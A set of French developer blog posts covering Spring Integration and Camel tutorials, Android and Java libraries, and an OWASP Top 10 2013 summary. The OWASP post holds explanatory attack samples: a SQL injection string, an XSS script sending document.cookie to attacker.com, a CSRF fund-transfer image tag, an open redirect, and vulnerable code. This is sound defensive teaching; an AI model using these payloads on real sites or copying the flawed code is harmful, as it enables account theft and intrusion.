Introduction aux EIPs (suite) : mise en pratique avec Spring Integration

Passons à la mise en pratique avec Spring Integration !

Comme nous l’avons vu dans l’article précédent, Camel prends quelques libertés vis-à-vis des concepts des EIPs, les channels sont implicites et l’implémentation des routes modélisées par EIPs peuvent se révéler assez différentes. Spring Integration au contraire, est à la base une pure implémentation des EIPs, chaque élément retrouvé dans notre modélisation va être retranscrite point par point et enrichie :

Ainsi chaque endpoint et channel (aller comme retour) sont retranscrits dans Spring Integration, nous aurons donc :

  • Un endpoint http d’entrée
  • Un endpoint s’occupant de l’appel http au service Google
  • 2 endpoints transformant les messages
  • 4 channels liant les endpoints

Chacun de ces composants seront définis comme bean spring, on retrouvera donc une configuration et une architecture classique des applications spring, très modulaire facilitant la réutilisation.

Toute la configuration se fait par fichier spring XML, les endpoints et channels développés peuvent néanmoins être intégrés et configurés dans le conteneur Spring à l’aide d’annotations.

Les Channels

Contrairement à Camel, les channels sont explicites, ils peuvent être de type publish/subscribe, queue, direct… Nous allons utiliser seulement les directs dans notre exemple :

1
2
3
4
5
<!-- Inbound/Outbound Channels -->
<int:channel id="spellJsonRequest" />
<int:channel id="spellXmlRequest" />
<int:channel id="spellXmlResponse" />
<int:channel id="spellJsonResponse" />

Endpoint http : inbound-gateway

Afin de réaliser notre endpoint http, Spring Integration propose le endpoint http inbound gateway. C’est un endpoint producteur de messages. Evidemment, Spring se base sur Spring MVC pour créer ce endpoint :

1
2
3
4
5
6
7
<int-http:inbound-gateway id="inboundEmployeeSearchRequestGateway"
	supported-methods="GET" request-channel="spellJsonRequest"
	reply-channel="spellJsonResponse" mapped-request-headers="null"
	mapped-response-headers="Return-Status, Return-Status-Msg, HTTP_RESPONSE_HEADERS"
	path="/spell/{word}" reply-timeout="50000">
 <int-http:header name="word" expression="#pathVariables.word" />
</int-http:inbound-gateway>

Cette configuration créé un endpoint à l’adresse /spell qui est rajouté à la DispatcherServlet de Spring MVC. Le mapped-request-headers permet de spécifier quel headers http sont mappés sur les headers du message du flux. Les request et reply channel permettent de brancher le endpoint aux channels. Le header est enrichi du pathVariable pour la suite.

Template velocity

Afin de garder la même logique que pour l’implémentation Camel, la requête XML est générée à l’aide d’un template Velocity. Il n’existe pas de Transformer velocity natif sous Spring Integration, mais il est simple d’en implémenter un :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Component("velocityTransformer")
public class VelocityTransformer {
	@Value("request.vm")
	private String templateLocation;
 
	@Autowired
	private VelocityEngine velocityEngine;
 
	@Transformer
	public String transform(@Header("word") String word)
			throws VelocityException, IOException {
		Map map = new HashedMap();
		map.put("word", word);
		return VelocityEngineUtils.mergeTemplateIntoString(velocityEngine,
				templateLocation, map);
	}
}

A noter l’utilisation des Annotations, la méthode @Transformer permet d’injecter directement dans ses paramètres d’appel des valeurs du header « word ».
Le transformer est ensuite branché sur la route :

1
2
<int:transformer input-channel="spellJsonRequest"
		output-channel="spellXmlRequest" ref="velocityTransformer" />

Endpoint http : outbound-gateway

Un endpoint permettant les appels http est disponible, il est basé sur le RestTemplate de Spring :

1
2
3
<int-http:outbound-gateway request-channel="spellXmlRequest"
		expected-response-type="com.sedona.simple.SpellResult" reply-channel="spellXmlResponse"
		url="http://www.google.com/tbproxy/spell?lang=en" http-method="POST" />

L’url cible est simplement précisée avec la méthode http utilisée. L’expected-response-type permet de convertir directement la réponse XML en objet Java grâce à un mapping JaxB. Aucune configuration supplémentaire est nécessaire, seule la classe SpellResult est développée :

1
2
3
4
5
6
7
8
9
10
11
12
@XmlRootElement(name = "spellresult")
public class SpellResult {
	private String c;
 
	public String getC() {
		return c;
	}
 
	public void setC(String c) {
		this.c = c;
	}
}

 Transformation Objet vers Json

Un transformer natif est disponible à partir du moment où la librairie Jackson est disponible dans le classpath. Il suffit ensuite de le déclarer :

1
2
<int:object-to-json-transformer
	input-channel="spellXmlResponse" output-channel="spellJsonResponse" content-type="application/json" />

Les headers de réponse du service google étant par défaut mappés, attention à bien changer le content-type de xml à json.

Configuration et déploiement

La solution se basant sur du spring MVC, une configuration spring classique (ContextLoaderListener dans le web.xml) et un déploiement dans un conteneur de servlet (tomcat) sont nécessaires.

Conclusion

Comme déjà précisé, Spring Integration est plus fidèle aux EIPs, la route configurée correspond exactement à la conception de notre flux, l’implémentation est donc plus implicite et demande moins de connaissance du framework et de ses composants, on profite en plus des forces de ce framework (Spring MVC, système de conversion etc…).
Néanmoins Camel est plus pragmatique, ses composants sont plus riches et le développement et la configuration a été plus rapide qu’avec Spring.

{lang: 'fr'}

Introduction aux EIPs (suite) : mise en pratique avec Apache Camel

Suite de l’article précédent, la mise en pratique des EIPs se fera avec une mise en bouche de deux frameworks d’intégrations : Apache Camel et Spring Integration

Pour rappel, l’exemple de flux simple a été modélisé ainsi :

Deux implémentations vont être réalisées afin de présenter les deux frameworks, voici la première avec Apache Camel.

Apache Camel

Directement basé sur les EIPs, Camel permet de créer des routes et des règles de médiations. Nous verrons que ce framework comme Spring Integration, ne suit pas forcément à la lettre les design et modélisations des EIPs, certaines simplifications et extensions sont mises en place. Une des particularités de Camel est qu’il propose plusieurs moyen de définir des routes, comme par exemple par l’intermédiaire d’une API Java de type DSL ou par fichier de configuration Spring XML.

L’implémentations des EIPs se fait par l’utilisation de composants (qui peuvent être des endpoints comme des simple transformer) et de data format afin de faciliter la conversion de données.

Chaque composant possède sa propre URI,  qui déterminer à la fois le transport utilisé et des paramètres propres au composant. Par exemple, un endpoint http en entrée relié à un endpoint http de sortie donne en Java DSL :

1
from("jetty:http://localhost:9000/test").to("http://www.google.com");

Cette route indique que le composant Camel jetty est utilisé en entrée, écoute sur le port 9000 et transmet les requêtes en entrée vers google grâce au composant http de camel.
La liste des composants est disponibles ici. Ainsi le composant file permet de lire ou écrire un fichier, le composant cxf de faire appel à un web service cxf etc…
Un exemple de route en xml :

1
2
3
4
<route>
	<from uri="jetty:http://localhost:9000/test" />
	<to uri="http://www.google.com" />
</route>

Implémentation de la route

Implémenter notre route d’exemple se résume donc à choisir les composants camel à utiliser ou à en créer de nouveaux. L’implémentation choisie a finalement été :

  • Utilisation d’un web service rest CXF comme endpoint d’entrée
  • Utilisation d’un template velocity pour construire la requête XML nécessaire
  • Utilisation du composant http pour le endpoint vers google
  • Une transformation standard du xml vers json grâce à un data-format
L’exemple ayant été implémenté sous maven, chaque composant est une dépendance maven à rajouter pour pouvoir l’utiliser, soient CXF, velocity, http et xmljson.
La route a été définie ainsi :
1
2
3
4
5
6
from("cxfrs:bean:spellCheckEndpoint")
		.to("velocity:request.xml")
		.setHeader(Exchange.HTTP_URI,
			simple("http://www.google.com/tbproxy/spell?lang=en"))
		.setHeader(Exchange.HTTP_METHOD, constant("POST"))
		.to("http://googleSpellCheck").marshal().xmljson();
L’équivalent en xml :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<route>
    <from uri="cxfrs:bean:spellCheckEndpoint"/>
    <to uri="velocity:request.xml"/>
    <setHeader headerName="CamelHttpUri">
        <simple>http://www.google.com/tbproxy/spell?lang=en</simple>
    </setHeader>
    <setHeader headerName="CamelHttpMethod">
        <constant>POST</constant>
    </setHeader>
    <to uri="http://googleSpellCheck"/>
    <marshal>
        <xmljson/>
    </marshal>
</route>

La route va être détaillée point par point.

CXF

Le endpoint d’entrée utilise le composant CXFRS. L’URI précise le bean spring à utiliser, son implémentation (JAX-RS) est simple :

1
2
3
4
5
6
7
8
9
@Path("/")
public class SpellCheck {
	@GET
	@Path("/{word}")
	@Produces("text/json")
	public String getSpellCheck(@PathParam("word") String word) {
		return word;
	}
}

Il retourne simplement le path param ‘word’ qui constituera donc le corps du message de la route.
Il est ensuite déclaré en tant que bean spring grâce à une notation spécifique afin de créer simplement le connecteur jetty associé :

1
2
<cxf:rsServer id="spellCheckEndpoint" address="http://0.0.0.0:9001/spell/"
		serviceClass="com.sedona.simple.SpellCheck" />

Template Velocity

Le composant velocity est ensuite utilisé pour dynamiser le requête xml qui sera envoyée à google :

1
2
3
4
<?xml version="1.0" encoding="utf-8" ?>
<spellrequest textalreadyclipped="0" ignoredups="0" ignoredigits="1" ignoreallcaps="1">
    <text>${body[0]}</text>
</spellrequest>

Le path param précédemment récupéré par le service JAX-RS est donc inséré dans la balise text et le xml constitue désormais le payload du message.

Http

L’envoi de la requête http vers google se fait par le composant http. Comme précisé dans le précédent article les messages routés sont composés de headers et d’un payload. Afin de spécifier la destination réel du message et la méthode utilisée pour le requête (un Post), des headers sont précisés avant de faire appel au composant.

Réponse json

Enfin, la réponse est convertie grâce aux système data format de Camel, grâce à xmljson.
Par défaut, une route Camel est de type request/reply, le retour vers le endpoint d’entrée est implicite.

Dernières configurations

Si la notation java DSL est utilisée, le code java doit être dans la méthode configure() d’un classe héritant de RouteBuilder. Le fichier spring doit ensuite contenir une référence vers cette dernière :

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation=" http://www.springframework.org/schema/beans
	http://www.springframework.org/schema/beans/spring-beans.xsd
	http://camel.apache.org/schema/spring
	http://camel.apache.org/schema/spring/camel-spring.xsd">
 
	<camelContext id="camel" xmlns="http://camel.apache.org/schema/spring">
		<package>com.sedona.simple</package>
	</camelContext>
</beans>

Pour la notation XML, il faut rajouter la définition dans la balise camelContext.
Pour tester, une classe Main standard camel est utilisée, se basant sur spring, elle charge automatiquement les fichiers spring positionnés dans le classpath dans META-INF/spring.

Une fois démarré, un simple test : http://localhost:9001/spell/herllo nous retourne un json avec des propositions de correction :

1
{"@error":"0","@clipped":"0","@charschecked":"6","@suggestedlang":"en","c":{"@o":"0","@l":"6","@s":"0","#text":"hello\tHelli\thell\tHeall\thallo"}}

Conclusion

Ce petit exemple a permis de présenter un aperçu de Camel, une page présente comment les différents EIPs sont intégrés mais c’est surtout la richesse de ses composants et connecteurs qui font la force de Camel, il a était simple de réaliser cette route avec un minimum de développement.

Prochain article : même exercice avec Spring Integration !

{lang: 'fr'}

Introduction aux Entreprise Integration Patterns

Les design patterns, on en connaît à la pelle ! Mais ce billet est une petite introduction à ces patterns particuliers que sont les Entreprise Integration Patterns ou EIP.

 

Les EIPs ? Qu’est ce que c’est ?

Nous connaissons tous les patterns Gof, les MVC, les IOC qui concernent la programmation orientée objet, mais les EIPs, comment leur nom l’indique, concernent une toute autre problématique, l’intégration d’entreprise ou plus simplement les flux de données dans un système d’information. La moindre application faisant partie d’un SI est amenée à échanger des informations avec d’autres applications, par transfert de fichier, partage de base de données, web services, système de messaging… Les EIPs proposent de modéliser ces échanges et d’identifier les patterns les plus courants utilisés lors de ces flux, ne se basant pas sur des diagrammes de classes, ils proposent une toute autre représentation graphique. Principalement orientés autour de systèmes de messaging, nous verront que leur application peut être plus large et plus simple et que même l’intégration d’un fichier plat peut être modélisé sous forme d’échange de message.

Car c’est bien là la base des EIPs, elles modélisent tout échange d’information comme un transfert de message entre deux Endpoints par l’intermédiaire d’un channel. Un message est composé d’un header (qui contient des informations liées à l’infrastructure et le mode de transfert) et d’un payload, la données en elle même, qui peut être de n’importe quelle nature.

Le channel est tout simplement la tuyauterie et la manière dont est transféré de le message (direct point à point, publish/subscribe, message bus). Un Endpoint est un producteur et/ou un consommateur de messages, comme un connecteur à votre application ou un système.

Enfin à cela peut se rajouter :

  • Un traducteur / convertisseur du message (message translator ou transformer)
  • Un routeur, comme un choix sur le channel à emprunter selon le contenu du message
  • Un filtre…
Par exemple, un échange entre deux systèmes (endpoints), demandant une transformation selon le type de données peut être modélisé simplement :
A partir de ces éléments de base, tout une série de patterns peuvent créée, comme par exemple, le normalizer, qui selon le message en entrée, procédera à une ou l’autre des transformations disponibles grâce à un router :
Qui possède son propre schema :
Ce billet n’a pas vocation de présenter tous les patterns, vous pouvez en avoir un aperçu ici (En effet, cette notation et ces patterns sont tirés du livre Entreprise Integration Patterns), mais plusieurs seront présentés au cours de la petite série de billets sur le sujet.

Essayons de mettre en pratique cette notation afin de modéliser un traitement simple, la mise en place d’un web service Rest/Json à partir d’un web service Rest/XML hébergé chez google. Les deux aspects fondamentaux sont :

  1.  Nous avons affaire à un flux request/reply, en effet le endpoint producteur (de type http/rest donc) du message a besoin de retourner une réponse
  2. Le traitement du flux est essentiellement une conversion du message de la request d’entrée et de la réponse de retour du service google.
C’est tout simplement un aller retour avec une transformation de message comme vu précédemment, soit :
Voilà pour une rapide introduction à cette notation et les premiers patterns, suite au prochain article, avec deux exemples d’implémentations de cette échange suivant deux frameworks, Apache Camel et Spring Integration.
{lang: 'fr'}

Android + jQuery : Android Query

Un rapide billet pour parler d’une variante de jQuery : Android Query ou aQuery. Ce n’est évidemment pas du javascript ou du web, ça concerne le développement natif sous Android !

Sans être aussi complet, cette librairie reprends plusieurs concepts de jQuery comme son utilisation de type DSL et ses callbacks.

Un premier exemple, qui concerne la dynamisation des vues android, qui nous force à écrire du code très rébarbatif du genre :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TextView nameView = (TextView) view.findViewById(R.id.name);    
if(nameView != null){
    nameView.setText(content.getPname());
}
 
TextView timeView = (TextView) view.findViewById(R.id.time);  
 
if(timeView != null){
   long now = System.currentTimeMillis();
   timeView.setText(FormatUtility.relativeTime(now, content.getCreate()));
   timeView.setVisibility(View.VISIBLE);
}
 
TextView descView = (TextView) view.findViewById(R.id.desc);    
 
if(descView != null){
    descView.setText(content.getDesc());
    descView.setVisibility(View.VISIBLE);
}

Avec Android Query, on a un selecteur par id et une API DSL, cela devient :

1
2
3
4
AQuery aq = new AQuery(view);
aq.id(R.id.name).text(content.getPname());
aq.id(R.id.time).text(FormatUtility.relativeTime(System.currentTimeMillis(), content.getCreate())).visible();
aq.id(R.id.desc).text(content.getDesc()).visible();

Tout de suite plus simple à écrire ou à lire.
Un autre exemple, qui concerne la gestion des évènements et un listener:

1
2
3
4
5
6
7
ImageView tbView = (ImageView) view.findViewById(R.id.icon)
tbView.setOnClickListener(new OnClickListener() {
                 @Override
		public void onClick(View v) {
			someMethod(v);
		}
	});

Qui devient :

1
 aq.id(R.id.icon).clicked(this, "someMethod");

Je vous invite à voir d’autres exemples d’utilisation sur leur site, notamment les callback ajax et surtout la gestion des images, qui gère le téléchargement, un cache, le redimensionnement, les animations etc…

{lang: 'fr'}

JSoup

Vous connaissez JSoup ?
Il s’agit d’une librairie très utile. Elle vous permettra de lire et surtout de parcourir, manipuler, traverser un DOM et son contenu avec des sélecteurs html/css. Elle est en plus compatible Html 5.
Un exemple:

1
2
Document doc = Jsoup.connect("http://en.wikipedia.org/").get(); 
Elements newsHeadlines = doc.select("#mp-itn b a");

ou à partir d’un fichier:

1
2
File input = new File("/tmp/input.html"); 
Document doc = Jsoup.parse(input, "UTF-8", "http://example.com/");

La configuration Maven:

1
2
3
4
5
<dependency>
  <groupId>org.jsoup</groupId>
  <artifactId>jsoup</artifactId>
  <version>1.7.2</version>
</dependency>

JSoup.org

{lang: 'fr'}

Top 10 OWASP 2013 : les failles de sécurité Web les plus courantes

OWASP est en passe de mettre à jour son top 10 en version 2013 (release candidate), une occasion de revenir sur cet organisme et de faire une rapide présentation de ce fameux classement.

L’objectif principal de cette organisation est de produire des outils, documents et standards dédiés à la sécurité des applications Web ainsi que de sensibiliser les entreprises et utilisateurs autour de la sécurité sur le WEB. Tous ses livrables (documentations, logiciels, référentiels) sont fournis sous le modèle du libre.

Les projets les plus intéressants d’OWASP sont de type documentation et outils, comme par exemple :

  • Le Top 10, décrit un peu plus loin, il référence selon eux les 10 failles de sécurité les plus importantes et répandues sur le web. La plupart des audits de sécurité et outils spécialisés se basent sur ce Top 10.
  • Un Guide de développement, qui est aujourd’hui bien obsolète mais est en projet de réécriture (pour les langages Php, .Net et Java)
  • Les Cheat Sheets qui sont plus intéressantes et donnent plus de détails sur la détection, la prévention et la corrections de failles de sécurité
  • Webscarab est un outil assez complexe permettant de ‘tester’ une application web avec par exemple un spider, un proxy, outil de scripting etc…
  • AntiSamy est une librairie aidant la détection de code ‘malicieux’ dans les données rentrées par l’utilisateur.
  • ZAP (Zed Attack Proxy) qui est un webscarab plus accessible (j’y reviendrai dans un futur article).
Le TOP 10 !

Lors du développement d’une application web, la sécurité est rarement la priorité du développeur, on identifie facilement les cas d’utilisation nécessitant une attention particulière (authentification, tunnel d’achat etc…) et on porte peu d’attention aux autres fonctionnalités de l’application. Pourtant les technologies liées au web sont de véritables gruyères si on ne prends pas quelques précautions (connaissez vous google-gruyere ?).

Le Top 10 d’OWASP a pour but de sensibiliser et d’informer les développeurs sur les failles les plus importantes liées aux technologies du web. Prendre un peu de temps pour lire et s’approprier ce top ten est une étape indispensable dans la vie du bon développeur web. ; )

Un nouvelle version de ce classement d’une vingtaine de pages est en Release Candidate (peu de changements sont à prévoir avant sa validation), il établi un classement de risque (en prenant en compte la détection, l’exploitation et l’impact de chaque faille) et présente rapidement un moyen de détection et de prévention. Voici un rapide résumé :

  1. L’injection: la plus connue est évidemment l’injection SQL, mais elle peut concerner d’autres langages (shell, LDAP etc…). C’est une des plus vieilles failles connues mais c’est également la plus dangereuse ! Et l’utilisation de framework ORM ne protège pas toujours de cette faille (requête dynamique sans criteria…). Un exemple de code vulnérable :
    1
    
     String query = "SELECT * FROM accounts WHERE   custID='" + request.getParameter("id") +"'";

    En récupérant directement le paramètre de requête sans contrôle, permet à l’utilisateur d’exécuter n’importe quel requête SQL avec une requete http du style :

    1
    
      http://example.com/app/accountView?id=' or '1'='1

    Bref, pas de concaténation directe de paramètres venant d’une requête utilisateur pour un appel sql, une ligne de commande, une requête SOAP etc… Préférer l’utilisation des API avec paramètres (un PreparedStatement ou NamedQuery par exemple) ou contrôler les inputs utilisateurs.

  2. Broken Authentication and Session Management : gestion de l’authentification et de la session. Est-il possible de voler une session ou récupérer un mot de passe ? C’est un sujet vaste et épineux et il est plutôt recommandé de se reposer sur des frameworks et outils pour cette partie (serveurs d’application, spring security). En vrac, quelques exemples :
    • Ne pas réécrire le sessionId dans l’url (paramétrage à vérifier sur le serveur)
    • Renouveler le sessionId à l’authentification et au passage vers du Https (propre à l’application, Liferay est configuré ainsi par défaut)
    • Vérifier le timeout de la session (paramétrage de la web app)
    • Crypter le stockage des mots de passes et des données sensibles
    • Utiliser le https à l’authentification…
  3. Cross-Site Scripting: le fameux XSS ! Il est classé troisième à cause de sa fréquence et sa facilité de mise en oeuvre, son exploitation est rarement grave. Il consiste la plupart du temps à faire exécuter du javascript non prévu par votre application. Comme pour l’injection, le problème viens du manque de contrôle de l’input utilisateur. Il suffit de réécrire dans la page web l’input utilisateur pour créer une XSS:
    1
    2
    
    (String) page += "
    <input type="TEXT‘   value=" name="creditcard" />";

    Si le paramètre CC contient un script javascript, il peut simplement voler le cookie de l’utilisateur et le rediriger vers un site malveillant :

    1
    2
    3
    
      '><script type="text/javascript">// <![CDATA[
                                             document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie
    // ]]></script>'.

    Le plus simple est d’échapper correctement les données venant d’une source suspicieuse (l’utilisateur !), la plupart des outils et frameworks (taglib jstl, velocity) le font en standard, mais ce n’est pas toujours le cas, par exemple une EL directement dans la page HTML n’échappe pas par défaut les valeurs, bref à vérifier au début du projet. Un méthode simple de les trouver est de rentrer dans tous les inputs de formulaire des ‘alert’ javascripts.

  4. Insecure Direct Object References : Cas classique : l’id de la données actuellement visualisée est un paramètre de la requête HTTP. En changeant cet ID, il est possible de consulter toutes les données si aucun contrôle d’accès à la donnée n’est effectué. Cela peut être très problématique sur les données utilisateurs ou pire, sur un site d’une banque! Un exemple :
    1
    2
    3
    4
    
    String query = "SELECT * FROM accts WHERE account = ?";   
    PreparedStatement pstmt =   connection.prepareStatement(query , … );  
    pstmt.setString( 1, request.getParameter("acct"));  
    ResultSet results = pstmt.executeQuery( );

    Avec un tel code, on peut consulter tous les comptes très facilement :

    1
    
       http://example.com/app/accountInfo?acct=notmyacct

    Deux solutions, soit utiliser des nouveaux identifiants non liés à la base de données relatifs à l’utilisateur, soit vérifier les droits d’accès pour chaque données récupérées.

  5. Security Misconfiguration: nous utilisons toujours beaucoup d’outils pour nos projets (serveur web, application, base de données, framework…), combien de fois laissons nous les valeurs par défaut de la configuration des ces outils ? Il est important d’étudier la configuration de chacun et de désactiver tout ce dont le projet n’a pas besoin. Quelques exemples :
    • Mise à jour récente de l’outil, il y a toujours des failles…
    • Comptes et mot de passe par défaut
    • Gestion des messages d’erreur (pas de stacktrace…)
    • Les applications par défaut du serveur (JMX-console…)
    • Mode développement désactivé ?
    • Configuration HTTP : retirer les headers superflus avec RequestHeader unset (version du serveur etc…), retirer le directory listing…
  6. Sensitive Data Exposure: protection des données sensibles, les mots de passes, les numéros de carte de paiement, les données santés ou personnels doivent être cryptés et leurs confidentialité doit être maintenues sur toute la chaîne avec l’utilisation du SSL :
      • Ne pas stocker les données sensibles dont vous n’avez pas besoin
      • Utiliser les bons algorithmes avec des clefs fortes.
      • Retirer les autocomplete des formulaires web sur ces données.
      • Ne pas utiliser les cryptages ‘automatiques’ de bases de données ou système de fichiers, une injection rends ces fonctionnalités inutiles.
  7. Missing Function Level Access Control : contrôler l’accès aux fonctionnalités (pages) proposées par l’application, un utilisateur lambda ne doit pas pouvoir accéder et utiliser les fonctionnalités d’administration. Généralement un contrôle sur l’url ou sur un paramètre (action par exemple) permet de résoudre ce soucis. Faites ce contrôle de manière globale (règle apache, servletFilter ou mieux Spring Security).
  8. Cross-Site Request Forgery (CSRF) : faille assez complexe, elle consiste à forcer un utilisateur a exécuter une requête à son insu. Par exemple, une iframe ou une image d’un site tiers a pour source une URL de votre application. Si cette url est celle correspondant à une demande de virement bancaire et que l’utilisateur est déjà connecté au sein du même navigateur, la requête est lancée et interprétée par vote application en visitant simplement le site tiers :
    1
    
    <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />

    Cela s’applique évidemment à toutes les urls, comme les urls d’administration (delete all…). Deux solutions pour éviter le CSRF :

    • Rajouter un token lié à la session utilisateur à chaque génération de lien vers les fonctionnalités ‘critiques’. Ce token est vérifié à l’execution de la requête en s’assurant que c’est bien le user qui a généré le token du lien. Cette solution est préférable.
    • Redemander à l’utilisateur de rentrer à nouveau son mot de passe pour confirmer l’action.
  9. Using Components with Known Vulnerabilities : Semi nouveauté de cette mise à jour du top 10, elle est un peu liés à la 5, OWASP met en garde sur l’utilisation de composants tiers dans nos développements, notamment les composants open source. Il est important de se documenter sur les failles connues des outils que nous utilisons, même CXF ou Spring ont eu leur failles critiques, il faut rester à jour. Plusieurs sites référencent les failles connues  :
  10. Unvalidated Redirects and Forwards : Faille classique et simple à corriger, nous avons souvent besoin d’implémenter des redirect ou des forward génériques dans nos applications. Il faut vérifier la destination de ces redirections avant de les effectuer, ne pas accepter les redirection n’allant pas sur votre site :
    1
    
     http://www.example.com/redirect.jsp?url=evil.com

    Le mieux étant de ne pas utiliser les redirections.

Voilà pour le rapide tour d’horizon du top 10 d’OWASP, je vous invite évidemment à lire en détail le document d’origine et d’approfondir le sujet, le premier pas étant de bien comprendre l’origine de ces failles et d’en avoir conscience lors de nos développements.

{lang: 'fr'}

Optimisation Apache : forcer la mise en cache browser des éléments fixes

Pour forcer la mise en cache (par le browser) de certaines des images de votre application web, ajouter les lignes suivantes à votre httpd.conf:

<LocationMatch "\.(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf)$">
Header set Cache-Control "max-age=86400, public"
</LocationMatch>

Il est ainsi posisble de forcer la mise en cache que sur certains répertoires de l’application et/ou certaines extensions de fichier. Le “86400″ représente la durée de rétention.

 

{lang: 'fr'}

OutOfMemory et Bitmaps sous Android

Les applications Android sont démarrées en mode Sandbox, c’est à dire qu’elles tournent sur une machine virtuelle Dalvik isolée et gérant sa propre mémoire. A côté de ces VM, il y a la mémoire native, utilisée par l’OS lui même.

Si vous avez des problèmes de OutOfMemory, le premier réflexe est d’analyser le « Heap Dump » avec DDMS, puis de façon plus précise avec l’outil Mat, en suivant cet exellent tutorial:

http://android-developers.blogspot.com/2011/03/memory-analysis-for-android.html

 

Les Bitmaps ne sont pas visibles dans MAT

Pour utiliser cet outil, il faut néanmoins savoir une chose: les Bitmaps sont stockées dans l’espace natif, et non dans la mémoire allouée à la VM! Vous ne pourrez donc pas analyser les Bitmaps avec MAT.

Toutefois depuis l’OS 3.0, les Bitmaps dans visibles dans MAT, même si elles restent enregistrées dans la mémoire native.

{lang: 'fr'}

Custom Image in Windows Phone Panorama

By default a windows Phone Panorama can only accept a title. What if we want an image instead?
To add the image, we have to define the TitleTemplate attribute.

1
2
3
4
5
6
7
8
9
<Grid x:Name="LayoutRoot">
<controls:Panorama x:Name="panorama">
	<controls:Panorama.TitleTemplate>
		<DataTemplate>
                   <!--<TextBlock Text="Families" FontSize="90" Margin="0,50,0,0" />-->
		   <Image HorizontalAlignment="Right" Margin="0,80,200,0" Width="100" Height="100"  Source="/ApplicationIcon.png"/>
                </DataTemplate>
       </controls:Panorama.TitleTemplate>
...

Notes that we added a right margin of 200px. Without it, a small image will be repeated for each item of the panorama. It’s better to add a big image larger than the width of the screen.

{lang: 'fr'}

Créer un cache avec google guava

javaPour des raisons de tenue à la charge, il est souvent nécessaire de créer des caches mémoire dans les applications. Le plus souvent, le choix se porte sur ehcache, ou une ConcurrentHashMap.

Il y a maintenant une autre possibilité : utiliser le CacheBuilder de google guava. Grace à une petite api de type DSL, vous pourrez configurer un cache en quelques lignes de code.(tirées de la javadoc)

Cache graphs = CacheBuilder.newBuilder()
       .concurrencyLevel(4)
       .weakKeys()
       .maximumSize(10000)
       .expireAfterWrite(10, TimeUnit.MINUTES)
       .build(
           new CacheLoader() {
             public Graph load(Key key) throws AnyException {
               return createExpensiveGraph(key);
             }
           });

Et voila on dispose d’un cache finement configuré (weak keys, taille limitée, temps d’expiration de 10min) sans avoir à le coder soit même comme avec une concurrentHashMap et sans avoir à intégrer tout ehcache. En bonus un objet CacheStats est même tout prêt à être exposé via JMX pour monitorer la pertinence de ce cache.

Pour l’intégrer facilement à votre projet : la dependence maven à déclarer :

5
6
7
8
9
<dependency>
     <groupId>com.google.guava</groupId>
     <artifactId>guava</artifactId>
     <version>10.0</version>
 </dependency>
{lang: 'fr'}